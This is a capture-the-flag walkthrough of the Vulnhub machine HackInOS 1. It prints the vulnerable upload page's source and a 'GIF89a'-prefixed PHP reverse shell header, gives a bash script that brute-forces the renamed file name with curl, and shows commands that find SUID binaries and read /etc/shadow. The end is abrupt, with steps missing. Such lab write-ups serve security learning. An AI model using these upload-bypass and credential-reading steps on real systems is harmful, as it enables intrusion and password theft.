Overall Summary
HackInOS 1 is a fun machine from Vulnhub that can be very easy to get a foothold for exploitation but the fun part consists in looking at a source code from an upload page to bypass an uploading restriction and to find the uploaded file as it gets renamed. Once a low privilege shell is obtained, privilege escalation consists in taking advantage of an SUID binary which would allow us to read the contents of the shadow file to then crack the hash from the root account.
Scanning and Enumeration
An nmap scan shows an SSH port and an HTTP service running on port 8000.
Browsing to the HTTP service displays what it seems to be a WordPress site.
If we try to click any links from this site attempts to redirect to a hostname of “localhost”. I’l modify my hosts file to bind the IP address to the hostname.
Once the hosts file has been edited we can use gobuster to scan for directories and files in the web server. These are the results returned by gobuster:
Several options were returned and most of the times we would try to access the administrative portal of WordPress, but this time we will browse to the upload.php file where we will see a page that allows uploading of files and if we try to upload a PHP reverse shell we don’t get an error message but a smiley face.
From the gobuster scan we can see that there is also a /uploads directory which will most likely be the folder where the files should be uploaded, however browsing to it is forbidden and adding the specific file name of the file we uploaded returns a not found error.
If we go back to the upload.php file, look at the source code and scroll all the way down, there will be a message with a link to github which seems to be a hint.
<!DOCTYPE html> <html> <body> <div align="center"> <form action="" method="post" enctype="multipart/form-data"> <b>Select image : </b> <input type="file" name="file" id="file" style="border: solid;"> <input type="submit" value="Submit" name="submit"> </form> </div> <?php // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $rand_number = rand(1,100); $target_dir = "uploads/"; $target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number)); $file_name = $target_dir . basename($_FILES["file"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION)); $type = $_FILES["file"]["type"]; $check = getimagesize($_FILES["file"]["tmp_name"]); if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){ $uploadOk = 1; }else{ $uploadOk = 0; echo ":)"; } if($uploadOk == 1){ move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType); echo "File uploaded /uploads/?"; } } ?> </body> </html>
Exploitation
To take advantage of the upload page lets take a look at the code. The first to notice in the code is that the name of the file uploaded is taken and added a random number from 1 to 100 at the end and finally creating an MD5 hash with it. This is accomplished by the following variable:
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
From the source code we can also see that only the “mime type” is being used to check for PNG or GIF files. The mime type is basically reading the contents of the file we are trying to upload and if it sees a tag such as <?php it will make the if statement be false and we would not be able to upload the file, however if we add the signature “GIF89a” to the beginning of the a file, the mime type will recognize the file as a GIF file instead. I’ll use a PHP reverse shell from pentestmonkey and add the signature “GIF89a” at the beginning, this is how the beginning of the file will look like:
GIF89a; <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. ......................................
At this point the uploading of the PHP reverse shell would be successful but we also know that the files is being renamed by an MD5 value that also contains a random number as explained before. Lets take a look at the following line of code:
$rand_number = rand(1,100);
We can see that a random number will be generated and it will be between 1 and 100, so to be able to identify the name of the PHP file that will be uploaded I’ll create a short bash script that will take the formula of taking the name of the file and adding a number at the end from 1 to 100 to then use curl and try to make a request for the file name. This is the bash script I’ll be using:
#!/bin/bash
for number in {1..100}; do
#Gets the MD5 value of the name with a number added at the end and stores it in a variable.
temp_name=`echo -n php-reverse-shell.php$number | md5sum | cut -d "-" -f 1 | cut -d " " -f 1`
echo "---------------------------------------------------------"
echo "Testing http://localhost:8000/uploads/$temp_name.php"
echo "---------------------------------------------------------"
curl -i "http://localhost:8000/uploads/$temp_name.php"
done
With this script, I will now first upload the modified PHP reverse shell using. I will now execute the script and save the output to a file named “results.txt” (make sure to make the script executable).
./filename-bruteforce.sh > results.txt
Once it finishes the results.txt will have a lot of output to go through so lets use cat and grep the contents of the file to show the information that contains the code “200” which is the code for OK success status.
find / -user root -perm -4000 -exec ls -ldb {} \;
LFILE=/etc/shadow
/usr/bin/tail -c1G "$LFILE"